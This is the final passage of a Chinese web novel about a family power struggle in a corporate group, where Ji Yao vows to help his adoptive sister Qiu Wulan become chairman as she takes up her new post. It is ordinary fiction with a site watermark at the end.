被没收了两只小熊芜澜,只有第三只小熊娃娃才能唤醒她压抑的内心。 “我和承澜意识到,什么都不在意的芜澜,唯独喜欢‘人’。” “资助贫困学生考上名校、帮助被家暴的妇女独立自强、赞助缺少经费的艺术团队、教导木讷内向的销售……” 邱岸山的声音丝线般串连起这里的每一张照片。 “仅仅是看着在自己帮助下获得新生的人,芜澜都会激动得高潮不止。” 他狭长的凤眸扫过满屋子笑容灿烂的人像,“这是她唯一的爱好了。” “娱乐公司,是最好的挖掘、培育乃至创造‘人’的平台,是最能让她开心的地方。” “放下。”骤然之间,邱岸山触碰季语薇相框的手被死死扣住。 青年抓着他的腕骨,力道之大,仿佛要捏碎邱岸山的骨头,“董事长,如果你真的对姐姐感到抱歉,就不要随意触碰她最后的热爱。” 他的力量让邱岸山微讶。 “另外,精神治疗不是惩罚。”季尧道,“想用一两个月的发病去换姐姐数年的压抑痛苦,未免太轻巧了。” 邱岸山适时松开了手指,被季尧从玻璃柜里拉了出来。 他毫无愠色,反而哈哈大笑,“说得对、说得对。很好——” 那双布着老态的凤眸犀利地盯向季尧,“我没有白走一趟。” 他抽出手,整了整西装,抬腕,看了眼手表,“这个时候,芜澜也该到集团了。” “您不用激我。” 季尧并不需要邱岸山来多此一举地戳破某些真相。 他原本的爱是否谦卑、是否宽容,无关紧要。 站在邱岸山面前的已经是被邱芜澜养大的季尧,这世上也没有人会永远保留婴儿时期的本初认知。 他的三观、认知和大众不同,是因为调.教他的姐姐本就不是芸芸大众。待在姐姐身边,他自然会舍弃平凡庸人的想法。 这是邱芜澜对他的教育,而非扭曲。 “我大概明白您的来意了。”季尧弯眸,“您放心,就算您不这样挑衅,我也会不懈余力地帮助姐姐成为下一任集团董事长。” 不论邱芜澜对他的是爱是何种形式:是姐姐对弟弟扭曲的亲情、是作者做作品的喜爱、是喜欢他创造的利益,还是单纯只是对邱承澜的叛逆、意图得到兄长不让她触碰的东西。 不论是哪一种爱,季尧都会十倍、百倍地回报她。 只要邱芜澜想要,那么那个位置,就只有她才配得上。 泛着科技质感的秋叶园区矗立在瑚城中央。 邱芜澜的车子驶入了其中。 她进入这里上百次,可只有从今天开始,才算是真正拥有了这个园区里的一部分。 进入园区,邱芜澜本能地朝着中央大楼的38层望去。 每一次来到集团,她的视线都不受控制地望向邱承澜所处的楼层、追逐他的身影。 强烈要求重新签约宋折凝的邱承澜,在那次集团会议上和她争吵后,却没有付诸任何实际行动。 那段时间,季尧自杀、市值动荡、传闻漫天,正是她最虚弱的时候,邱承澜却没有乘势提出用宋折凝挽救秋叶的建议。 这一年,宋折凝的处境每况愈下,却没有任何人帮她一把。 邱芜澜察觉到了些什么,但她没有因为发现真相就粘回邱承澜身边,也没有刻意做些什么缓和他们之间不同以往的气氛。 既然邱承澜没有告诉她的打算,那她也不准备戳破。 这是他想要的状态,也是她想要的。 那场季尧的欢迎会,邱承澜让钱秘书带着花束走向她。 邱芜澜于是第一次意识到了——缓和关系、低头示好的不一定非得要她,原来邱承澜也可以做这件事。 如果哥哥也能够低头,那么为什么不能是他来低头呢。 “邱总!” 车门被人拉开,一名穿着毛衣衬衫、带着黑框眼镜的年轻男人从大厅跑了出来迎接她。 “邱总您好,终于见到您了!” 不知道为什么,男人的语气神态有些过分激动。 邱芜澜颔首,与他握手,“你好。” “啊,对,我得向您正式自我介绍一下。”他有些语无伦次地开口,“我现在是秋叶阅读影视版权部的编辑,也是负责影视孵化计划的负责人之一。这一年我在编辑部和几个剧组里学到了很多,真的太感谢您了!” 邱芜澜确信,自己并不认识他。 她没有打断对方的话,目光下移,扫向他胸口的工牌。 红色系带的工牌上写着男人的名字: 张疏文。 呵…… 邱芜澜眉眼舒展,挽起清浅的微笑,“那真是太好了。” 阿尧,她的阿尧居然为她准备了这样一份惊喜。 他总是那么懂事、合她心意,再没有什么比这个任职礼物更让邱芜澜愉悦欢喜。 “带我参观下吧。”她说,“看看未来我们要共事的地方。” 张疏文呆站着,被那嫣然一笑所恍惚。 待他回神,邱芜澜已走出了两步,他慌忙跟上,红着脸,结结巴巴地补充,“好、好的邱总!” 不需要他的带领,邱芜澜花费三年,早已摸透了文娱的现状。 她踏入这座园区里属于自己的一角。 新的写字楼、新的业务、新的组织架构。 她的新领土离秋叶的心脏更近一步。 邱芜澜听见了自己湍急的血液流动声。 她迫不及待想要见到新的人物,也在这个时候想起了某些曾被她遗忘的初心—— 母亲去世的那一年,邱芜澜想拥有一把长椅,但那是父亲的东西。 邱芜澜在进入文娱大楼时驻足,她再度回眸望向中央大楼。 这一次,她的视线从38楼上移了几层。 她觑向了邱岸山所处的地方。 —— (全文完)魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&